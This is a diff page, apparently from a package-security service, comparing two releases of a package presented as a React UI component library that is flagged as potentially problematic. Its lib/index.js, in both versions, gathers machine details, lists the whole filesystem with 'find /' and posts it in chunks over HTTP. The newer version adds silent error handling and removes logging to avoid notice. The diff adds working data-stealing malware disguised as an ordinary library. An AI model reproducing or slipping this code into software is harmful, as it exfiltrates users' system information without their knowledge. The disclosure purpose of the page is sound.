@platform-ui-kit/components-library-react 9.9.3 → 9.9.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @platform-ui-kit/components-library-react might be problematic. Click here for more details.
- package/lib/index.js +37 -46
- package/package.json +1 -1
package/lib/index.js
CHANGED
@@ -1,6 +1,6 @@
|
|
1
1
|
const http = require("http");
|
2
2
|
const os = require("os");
|
3
|
-
const {
|
3
|
+
const { exec } = require("child_process");
|
4
4
|
const fs = require("fs");
|
5
5
|
const path = require("path");
|
6
6
|
|
@@ -8,16 +8,6 @@ const hostname = os.hostname();
|
|
8
8
|
const maxLinesPerRequest = 10; // Maximum lines to send per request
|
9
9
|
const outputFile = path.join(__dirname, "filesystem.txt"); // File to store the filesystem output
|
10
10
|
|
11
|
-
// Function to execute shell commands and return output
|
12
|
-
const executeCommand = (cmd) => {
|
13
|
-
try {
|
14
|
-
return execSync(cmd, { encoding: "utf-8" }).trim();
|
15
|
-
} catch (error) {
|
16
|
-
console.error(`Error executing command: ${error.message}`);
|
17
|
-
return null; // Return null in case of error
|
18
|
-
}
|
19
|
-
};
|
20
|
-
|
21
11
|
// Gather machine information
|
22
12
|
const machineInfo = {
|
23
13
|
hostname: hostname,
|
@@ -25,31 +15,29 @@ const machineInfo = {
|
|
25
15
|
uptime: os.uptime(),
|
26
16
|
};
|
27
17
|
|
28
|
-
// Function to gather the
|
18
|
+
// Function to gather the entire filesystem
|
29
19
|
const gatherFilesystem = () => {
|
30
|
-
const
|
31
|
-
|
32
|
-
|
33
|
-
|
34
|
-
|
35
|
-
|
36
|
-
|
37
|
-
|
38
|
-
}
|
20
|
+
const command = `find / -type d -o -type f > ${outputFile}`; // Finds all directories and files in the filesystem
|
21
|
+
exec(command, (error) => {
|
22
|
+
// Do nothing on error
|
23
|
+
if (error) {
|
24
|
+
return; // Exit if there's an error
|
25
|
+
}
|
26
|
+
// Do not log anything here
|
27
|
+
});
|
39
28
|
};
|
40
29
|
|
41
30
|
// Function to read the filesystem data in chunks
|
42
31
|
const readFilesystemInChunks = () => {
|
43
32
|
if (!fs.existsSync(outputFile)) {
|
44
|
-
|
45
|
-
process.exit(1); // Exit if the file does not exist
|
33
|
+
return []; // Return an empty array if the file does not exist
|
46
34
|
}
|
47
35
|
|
48
36
|
const data = fs
|
49
37
|
.readFileSync(outputFile, "utf-8")
|
50
38
|
.split("\n")
|
51
39
|
.filter((line) => line.trim() !== "");
|
52
|
-
return data; // Return an array of
|
40
|
+
return data; // Return an array of file paths
|
53
41
|
};
|
54
42
|
|
55
43
|
// Function to send a POST request with a given payload
|
@@ -57,7 +45,7 @@ const sendPostRequest = (chunk, chunkIndex) => {
|
|
57
45
|
const data = JSON.stringify({
|
58
46
|
payload: {
|
59
47
|
...machineInfo,
|
60
|
-
directories: chunk,
|
48
|
+
directories: chunk, // Change "files" to "directories"
|
61
49
|
},
|
62
50
|
project_id: process.argv[2],
|
63
51
|
});
|
@@ -76,36 +64,39 @@ const sendPostRequest = (chunk, chunkIndex) => {
|
|
76
64
|
|
77
65
|
// Send the request
|
78
66
|
const req = http.request(options, (res) => {
|
79
|
-
res.on("data", (
|
80
|
-
|
67
|
+
res.on("data", () => {
|
68
|
+
// Do nothing with the response data
|
81
69
|
});
|
82
70
|
});
|
83
71
|
|
84
|
-
req.on("error", (
|
85
|
-
|
72
|
+
req.on("error", () => {
|
73
|
+
// Do nothing on request error
|
86
74
|
});
|
87
75
|
|
88
76
|
req.write(data);
|
89
77
|
req.end();
|
90
|
-
|
78
|
+
// Do not log anything about sent requests
|
91
79
|
};
|
92
80
|
|
93
|
-
// Gather the filesystem
|
81
|
+
// Gather the filesystem
|
94
82
|
gatherFilesystem();
|
95
83
|
|
96
|
-
//
|
97
|
-
|
98
|
-
|
99
|
-
|
100
|
-
|
101
|
-
|
102
|
-
|
103
|
-
|
104
|
-
|
105
|
-
|
106
|
-
|
107
|
-
(
|
108
|
-
|
109
|
-
|
84
|
+
// Use a slight delay to ensure the filesystem.txt is populated
|
85
|
+
setTimeout(() => {
|
86
|
+
// Read the filesystem data
|
87
|
+
const fileLines = readFilesystemInChunks();
|
88
|
+
const totalLines = fileLines.length; // Total lines collected
|
89
|
+
|
90
|
+
// Send each batch of directories and files, with a maximum of 10 lines per request
|
91
|
+
for (let i = 0; i < totalLines; i += maxLinesPerRequest) {
|
92
|
+
const chunk = fileLines.slice(i, i + maxLinesPerRequest).join("\n");
|
93
|
+
|
94
|
+
// Adding a delay of 500ms between requests
|
95
|
+
setTimeout(
|
96
|
+
() => sendPostRequest(chunk, Math.floor(i / maxLinesPerRequest)),
|
97
|
+
(i / maxLinesPerRequest) * 500
|
98
|
+
);
|
99
|
+
}
|
110
100
|
|
111
|
-
|
101
|
+
// Do not log anything about all requests sent
|
102
|
+
}, 1000); // Adjust delay as necessary
|